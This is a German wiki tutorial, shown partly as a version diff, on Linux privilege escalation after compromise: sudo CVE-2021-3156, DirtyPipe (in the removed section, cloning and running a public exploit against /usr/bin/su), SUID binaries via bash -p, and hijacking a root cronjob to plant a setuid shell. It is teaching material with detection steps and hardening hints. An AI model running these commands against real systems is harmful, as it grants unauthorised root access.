Privilege Escalation Beispiele: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 29: Zeile 29:
 
*[[CVE-2021-3156]]
 
*[[CVE-2021-3156]]
 
*[[CVE-2022-0847]]
 
*[[CVE-2022-0847]]
 
==Privilege Escalation über Kernel-Exploit: DirtyPipe (CVE-2022-0847)==
 
 
===Zielsetzung===
 
*Root-Rechte durch Kernel-Schwachstelle erhalten.
 
 
===Wie entdeckt man die Schwachstelle?===
 
;Kernel-Version prüfen
 
*uname -r
 
 
;Verwundbare Versionen
 
*Linux 5.8 bis 5.16.11 sind betroffen.
 
 
===Voraussetzungen===
 
{| class="wikitable"
 
! Bedingung !! Beschreibung
 
|-
 
| Linux-Kernel-Version || 5.8 bis 5.16.11
 
|-
 
| Lokaler Zugriff || Vorhanden
 
|-
 
| shell Zugriff || Vorhanden
 
|}
 
 
===Angriff: Root-Rechte durch Exploit===
 
;Exploit herunterladen
 
*git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploit.git
 
*cd CVE-2022-0847-DirtyPipe-Exploit
 
 
;Exploit kompilieren
 
*gcc -o dirtypipe dirtypipe.c
 
 
;Exploit ausführen
 
*./dirtypipe /usr/bin/su
 
 
;Erwartung
 
*Root-Shell erhalten.
 
 
===Hinweise===
 
*Exploit manipuliert beliebige schreibgeschützte Dateien.
 
*Besonders effektiv gegen aktuelle ungehärtete Systeme.
 
  
 
==Privilege Escalation über falsch gesetzte SUID-Binaries==
 
==Privilege Escalation über falsch gesetzte SUID-Binaries==

Version vom 8. Mai 2026, 13:52 Uhr

Privilege Escalations auf einem kompromittierten System

  • Dieses Dokument beschreibt vier typische Methoden zur Privilegienerweiterung auf einem Linux-System.
  • Besonderer Fokus liegt darauf, wie Schwachstellen **real entdeckt** werden, nicht nur auf der Ausnutzung.

Privilege Escalation über sudo: CVE-2021-3156 ("Baron Samedit")

Zielsetzung

  • Root-Rechte durch eine Schwachstelle im sudo-Programm erlangen.

Wie entdeckt man die Schwachstelle?

sudo-Version prüfen
  • sudo --version
Verwundbare Versionen
  • Sudo <= 1.9.5p2 ist verwundbar.

Voraussetzungen

Bedingung Beschreibung
sudo-Version <= 1.9.5p2
Lokaler Benutzer Zugriff auf sudo installiert
shell Zugriff Vorhanden

Privilege Escalation über falsch gesetzte SUID-Binaries

Zielsetzung

  • Root-Rechte durch falsch konfigurierte SUID-Binaries erlangen.

Wie entdeckt man die Schwachstelle?

SUID-Binaries finden
  • find / -perm -4000 -type f 2>/dev/null
Berechtigungen prüfen
  • ls -l /pfad/zur/datei
Verdächtig
  • Binaries wie bash, nmap, find, cp, die als SUID-Root ausführbar sind.

Voraussetzungen

Bedingung Beschreibung
SUID Binary Existent und falsch konfiguriert
Lokaler Zugriff Vorhanden
shell Zugriff Vorhanden

Angriff: Root-Shell durch Bash

Bash mit SUID-Bit starten
  • /usr/bin/bash -p
Erwartung
  • Root-Shell erhalten.

Hinweise

  • Andere Binaries wie nmap oder vim können ähnliche Wege bieten.
  • Berechtigungen der Binaries sind entscheidend.

Privilege Escalation über falsch konfigurierten Cronjob

Zielsetzung

  • Root-Rechte durch unsichere Cronjob-Konfiguration erlangen.

Wie entdeckt man die Schwachstelle?

Benutzer-Cronjobs prüfen
  • crontab -l
Systemweite Cronjobs prüfen
  • cat /etc/crontab
  • ls -la /etc/cron.d/
  • ls -la /etc/cron.hourly/
  • ls -la /etc/cron.daily/
  • ls -la /etc/cron.weekly/
  • ls -la /etc/cron.monthly/
Dateiberechtigungen prüfen
  • ls -l /pfad/zum/skript.sh
Verdächtig
  • Skripte, die von normalen Benutzern bearbeitet werden können und als root ausgeführt werden.

Voraussetzungen

Bedingung Beschreibung
Schwacher Cronjob Existiert
Lokaler Zugriff Vorhanden
shell Zugriff Vorhanden

Angriff: Code einschleusen

Skript manipulieren
  • echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.sh
Warten, bis Cronjob ausgeführt wird.
Root-Shell starten
  • /tmp/rootbash -p
Erwartung
  • Root-Shell erhalten.

Hinweise

  • Dateien, die von root ausgeführt werden, müssen sicher konfiguriert sein (nur root schreibbar).

Zusammenfassung: typische Erkennungs- und Angriffsmethoden

Methode Erkennung Angriffsmethode Hinweis
Sudo-Exploit sudo --version Exploit ausführen Version prüfen!
Kernel-Exploit uname -r DirtyPipe oder ähnliches Kernel genau analysieren!
SUID-Fehler find / -perm -4000 SUID-Binary missbrauchen Berechtigungen checken!
Cronjob-Fehler crontab, /etc/cron* Skript manipulieren Dateirechte kontrollieren!